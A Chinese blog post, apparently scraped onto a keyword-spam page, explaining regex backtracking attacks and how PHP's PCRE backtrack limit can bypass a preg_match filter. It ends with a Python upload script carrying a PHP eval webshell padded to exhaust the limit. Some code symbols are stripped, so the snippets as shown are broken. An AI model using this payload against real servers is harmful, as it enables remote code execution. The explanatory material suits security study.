当前位置: 首页 > news >正文

建网站花费网站建设与管理 教学视频

建网站花费,网站建设与管理 教学视频,网站上线方案,免费网络推广培训课程目录 一、回溯绕过 二、防止正则表达式回溯绕过的方法 三、PHP利用PCRE回溯次数限制绕过某些安全限制 1、 首先#xff0c;来看一段PHP代码 2、正则回溯的过程 3、PHP的pcre.backtrack_limit 限制利用 一、回溯绕过 正则表达式的回溯绕过是指通过构造恶意输入…目录 一、回溯绕过  二、防止正则表达式回溯绕过的方法  三、PHP利用PCRE回溯次数限制绕过某些安全限制 1、 首先来看一段PHP代码 2、正则回溯的过程 3、PHP的pcre.backtrack_limit 限制利用        一、回溯绕过  正则表达式的回溯绕过是指通过构造恶意输入使得正则表达式引擎在匹配字符串时产生大量回溯操作从而导致性能下降甚至造成拒绝服务DoS攻击。 由于模式中的量词例如星号*、加号、问号?、花括号{}等使得可能有多种不同的匹配方式导致引擎需要尝试不同的组合直到找到匹配的结果。这种尝试的过程就称为回溯。回溯操作会导致时间复杂度呈指数级增长对于复杂的正则表达式和长字符串性能损失会非常明显。 攻击者可以通过构造一些恶意输入使得正则表达式在尝试匹配时陷入大量的回溯过程从而使得服务器的资源耗尽无法继续响应其他请求从而实现拒绝服务攻击。 回溯绕过是一种常见的正则表达式攻击手段合理使用正则表达式引擎和对输入进行有效验证是防止此类攻击的关键。 二、防止正则表达式回溯绕过的方法  防止正则表达式回溯绕过的方法包括 1. 使用非回溯性的正则表达式引擎某些正则表达式引擎支持非回溯的匹配算法例如正则表达式2Regular Expression 2RE2引擎该引擎能够保证线性时间复杂度从而避免回溯导致的性能问题。 2. 限制正则表达式的复杂性在编写正则表达式时尽量避免使用过于复杂的表达式特别是避免嵌套量词和回溯的使用。 3. 输入验证和过滤对于用户输入的数据进行有效的验证和过滤确保输入符合预期的格式和内容防止恶意输入进入正则表达式匹配的过程。 4. 采用其他字符串匹配算法对于复杂的字符串匹配需求可以考虑使用其他字符串匹配算法如Aho-Corasick算法、Knuth-Morris-Pratt算法等这些算法不涉及回溯性能较为稳定。 三、PHP利用PCRE回溯次数限制绕过某些安全限制 1、 首先来看一段PHP代码 ?php                 function is_php($data){                       return preg_match(/\?.*[(;?].*/is, $data);                   }                 ?php eval()                   if(!is_php($input)) {                     // fwrite($f, $input); ...                 }         上面这段PHP代码实现了一个函数 is_php($data)用于检查输入的数据是否包含PHP代码片段。然后在调用 is_php() 函数之后代码使用 eval() 函数来执行用户输入的数据。这段代码存在严重的安全漏洞。 安全问题 1. eval( ) 函数 eval( ) 函数用于执行字符串形式的PHP代码但是这样的用法极其危险因为它会执行任意代码导致远程代码执行Remote Code ExecutionRCE漏洞。不应该将未经验证的用户输入直接传递给 eval( )。 2. 正则表达式漏洞正则表达式 /\?.*[(;?].*/is 存在问题。该表达式试图匹配包含 ?、、? 等标记的任意字符但是由于缺乏边界约束可能导致误匹配和绕过。例如?php 在某些情况下可能被误认为是PHP代码片段而其他语言的代码也可能被错误地匹配。 2、正则回溯的过程 正则表达式 /\?.*[(;?].*/is 测试文本 ?php phpinfo();//aaaaa 所以如上之后  实际执行流程是这样的 1.第一个 .* 可以匹配任何字符所以最终匹配到了输入串的结尾也就是 //aaaaa。但此时显然是不对的因为正则显示.*后面还应该有一个字符 [(;?]。      2.所以 NFA 就开始回溯先吐出一个 a输入变成第6步显示的 //aaaa但仍然匹配不上正则继续吐出 a变成 //aaa仍然匹配不上  3.最终直到吐出;输入变成第 13步显示的 ?php phpinfo()此时 .* 匹配的是 php phpinfo()而后面的 ; 则匹配上 [(;?] 这个结果满足正则表达式的要求于是不再回溯。14步开始向后匹配;15步匹配 . 第二个.匹配到了字符串末尾最后结束匹配。 3、PHP的pcre.backtrack_limit 限制利用         在PHP中pcre.backtrack_limit  是一个配置选项用于限制PCREPerl Compatible Regular Expressions引擎的回溯深度。PCRE是PHP正则表达式引擎的一部分它用于解析和匹配正则表达式。在PHP文档中这个值一般是 100万 我们通过发送超长字符串的方式使正则执行失败最后绕过目标对 PHP 语言的限制。 对应的DOC如下 import requests                 from io import BytesIO                   files {                   file: BytesIO(baaa?php eval($_POST[txt]);// ba * 1000000)                 }                   res requests.post(http://xx.xx.xx.xx/index.php, filesfiles, allow_redirectsFalse)                 print(res.headers)
http://www.zqtcl.cn/news/827648/

相关文章:

  • 做网站上数字快速增加上海市建设部注册中心网站
  • 义乌市网站制作青岛建设银行银行招聘网站
  • 公司网站的留言板怎么做wordpress减肥网站采集规则
  • app软件下载站seo教程wordpress实现专题
  • 在哪里自己建设网站做网站后期需要什么费用
  • 宁波网站推广怎么做微信公众号如何运营与推广
  • 做网站开发语言农产品品牌建设
  • 百度一下你就知道官方网站做准考证的网站
  • 2008 访问网站提示建设中免费asp地方门户网站系统
  • 手机网站收录wordpress无法连接ftf服务器
  • 担路网如何快速做网站安卓市场2021最新版下载
  • 自己组装电脑做网站服务器东莞市城乡和住房建设局
  • h1z1注册网站wordpress 按标题搜索
  • 院校网站建设对比分析实训报总结陕西省建设网三类人员官网
  • 嘉兴网站建设兼职企业做网站公司
  • 做网站赚钱流程漂亮的个人网站
  • 湖州建设局网站青海最新信息
  • 长沙专业做网站的公司制作网站赚钱吗
  • 局域网网站架设软件徐州地产开发公司招聘
  • wordpress无法添加媒体百度官网优化
  • 安徽教育云网站建设贾汪网站开发
  • 商业设计网站推荐用图片设置网站首页
  • 同ip网站有什么危害软文营销的特点有哪些
  • 用动易做的校园网站成品网站 免费试用
  • 没有网站做cpa怎么赚钱网站模板中企动力
  • 商会联盟网站建设方案免费的个人空间建网站
  • 徐州网站建设4个人网站设计师
  • 易企秀网站怎么做轮播图装饰设计公司wordpress主题
  • 网站建设搜索优wordpress the
  • 怎么做点图片连接网站北京大学网络服务